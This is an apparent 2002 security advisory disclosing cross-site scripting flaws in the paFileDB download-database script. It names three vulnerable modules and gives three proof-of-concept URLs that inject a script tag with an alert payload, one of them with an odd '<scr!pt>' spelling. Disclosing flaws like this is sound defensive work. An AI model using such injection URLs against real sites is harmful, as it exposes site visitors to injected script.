[UNIX] XSS Vulnerabilites in paFileDB

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Date: 10/21/02 

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Date: 21 Oct 2002 20:06:47 +0200

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  XSS Vulnerabilites in paFileDB
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SUMMARY

 <http://www.phparena.net/pafiledb/> paFileDB is designed to allow
webmasters have a database of files for download on their site. A cross
site scripting vulnerability has been found in the product allowing remote
attackers to cause the product to display 3rd party HTML and JavaScript.

DETAILS

ersatz discovered that there are three other XSS vulnerabilities within
the software that can be performed by editing the URL of three different
sections.

Vulnerable modules:
 * Rate File
 * Email to Friend
 * Download

Unaffected module:
 * Stats

Exploit:
http://vuln/downloads/pafiledb.php?action=rate&id=4?"<scr!pt>alert('Testing')</script>"
http://vuln/downloads/pafiledb.php?action=email&id=4?"<scr!pt>alert('Testing')</script>"
http://vuln/downloads/pafiledb.php?action=download&id=4?"<scr!pt>alert('Testing')</script>"

ADDITIONAL INFORMATION

The information has been provided by <mailto:ersatz@unixhideout.com>
ersatz.

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